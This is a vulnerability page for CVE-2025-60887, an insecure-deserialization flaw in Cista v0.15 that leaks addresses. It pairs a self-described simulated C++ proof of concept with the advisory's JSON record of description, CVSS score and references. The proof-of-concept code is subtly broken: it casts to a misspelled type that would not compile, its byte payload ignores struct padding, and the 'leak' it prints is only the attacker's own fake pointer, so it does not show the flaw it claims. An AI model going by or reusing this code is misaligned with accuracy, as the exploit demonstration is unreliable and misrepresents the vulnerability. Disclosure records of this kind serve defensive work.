CVE-2025-60887

#include <iostream> #include <vector> #include <cstdint> // Simulated Cista structure vulnerable to the issue // In a real scenario, this would use cista::raw types struct VulnerableStruct { int data; uintptr_t* ptr; // Pointer member that can be tampered with }; // Conceptual PoC for CVE-2025-60887 // Demonstrating how deserialization of untrusted data leaks addresses void demonstrate_leak() { // 1. Attacker crafts malicious payload containing a fake pointer // In a real exploit, this is a byte stream designed to map to a specific memory address std::vector<uint8_t> malicious_payload = { 0x01, 0x00, 0x00, 0x00, // data = 1 0x00, 0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE // Fake address (Little Endian) }; // 2. Vulnerable deserialization (simulated) // Cista v0.15 does not validate if 'ptr' points to valid stack/heap within allowed range VulnerableStruct* deserialized = reinterpret_cast<VulnerableableStruct*>(malicious_payload.data()); // 3. The application uses the deserialized object // If the application logs or outputs the pointer value, the address is leaked. std::cout << "Deserialized Data: " << deserialized->data << std::endl; std::cout << "Leaked Address (Pointer Value): 0x" << std::hex << deserialized->ptr << std::endl; // 4. Attacker uses this address to bypass ASLR } int main() { demonstrate_leak(); return 0; }

{"cve": {"id": "CVE-2025-60887", "sourceIdentifier": "[email protected]", "published": "2026-04-28T16:16:05.597", "lastModified": "2026-04-28T20:18:13.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Cista v0.15 and below. Insecure deserialization of untrusted input under certain conditions may lead to leaking of stack/heap addresses which may be used to bypass ASLR. Classes with pointer-like mechanics under the cista::raw namespace are prone to reference tampering, where Cista does not perform sufficient checks to safeguard against self-referencing pointers and referencing other data within the payload. The leak occurs if the deserialized values are observable by the attacker."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "http://cista.com", "source": "[email protected]"}, {"url": "https://gist.github.com/TrebledJ/66cc0ed37bdb3e70ce0ef98396790771", "source": "[email protected]"}, {"url": "https://gist.github.com/TrebledJ/66cc0ed37bdb3e70ce0ef98396790771", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}